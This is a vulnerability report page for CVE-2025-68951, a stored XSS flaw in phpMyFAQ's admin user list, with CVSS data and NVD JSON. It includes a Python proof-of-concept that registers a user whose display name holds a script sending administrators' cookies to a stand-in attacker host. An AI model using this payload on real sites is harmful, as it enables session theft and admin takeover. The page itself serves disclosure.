Security Vulnerability Report
中文
CVE-2025-68951 CVSS 5.4 MEDIUM

CVE-2025-68951

Published: 2025-12-29 16:15:44
Last Modified: 2026-01-07 15:35:13

Description

phpMyFAQ is an open source FAQ web application. Versions 4.0.14 and 4.0.15 have a stored cross-site scripting (XSS) vulnerability that allows an attacker to execute arbitrary JavaScript in an administrator’s browser by registering a user whose display name contains HTML entities. When an administrator views the admin user list, the payload is decoded server-side and rendered without escaping, resulting in script execution in the admin context. Version 4.0.16 contains a patch for the issue.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:phpmyfaq:phpmyfaq:4.1.0:rc:*:*:*:*:*:* - VULNERABLE
phpMyFAQ < 4.0.14
phpMyFAQ 4.0.14
phpMyFAQ 4.0.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-68951 Stored XSS PoC for phpMyFAQ 4.0.14/4.0.15 # Target: phpMyFAQ installation # Attack: Register user with XSS payload in display name TARGET_URL = "http://target-site.com/phpmyfaq" ATTACKER_USERNAME = "attacker_user" ATTACKER_PASSWORD = "Password123!" XSS_PAYLOAD = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' def register_malicious_user(): """Register a new user with XSS payload in display name""" register_url = f"{TARGET_URL}/api/user/register" # Payload data with XSS in display name data = { "username": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD, "email": "[email protected]", "display_name": XSS_PAYLOAD, "confirm_password": ATTACKER_PASSWORD } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(register_url, json=data, headers=headers, timeout=10) print(f"[*] Registration Response: {response.status_code}") if response.status_code == 201: print("[+] Malicious user registered successfully") print(f"[*] XSS Payload: {XSS_PAYLOAD}") print("[*] Wait for admin to view user list in admin panel") else: print(f"[-] Registration failed: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-68951 phpMyFAQ Stored XSS PoC") print("=" * 60) register_malicious_user()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68951", "sourceIdentifier": "[email protected]", "published": "2025-12-29T16:15:43.600", "lastModified": "2026-01-07T15:35:12.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ is an open source FAQ web application. Versions 4.0.14 and 4.0.15 have a stored cross-site scripting (XSS) vulnerability that allows an attacker to execute arbitrary JavaScript in an administrator’s browser by registering a user whose display name contains HTML entities. When an administrator views the admin user list, the payload is decoded server-side and rendered without escaping, resulting in script execution in the admin context. Version 4.0.16 contains a patch for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.14", "versionEndExcluding": "4.0.16", "matchCriteriaId": "8D67FD17-E636-48E3-B76A-F3CB02C62C8A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:4.1.0:rc:*:*:*:*:*:*", "matchCriteriaId": "C2C7FC83-7A47-4046-8DE0-F0B81BFF2DDD"}]}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/commit/61829e83411f7b28bc6fd1052bfde54c32c6c370", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/thorsten/phpMyFAQ/commit/8211d1d25951b4c272443cfc3ef9c09b1363fd87", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-jv8r-hv7q-p6vc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}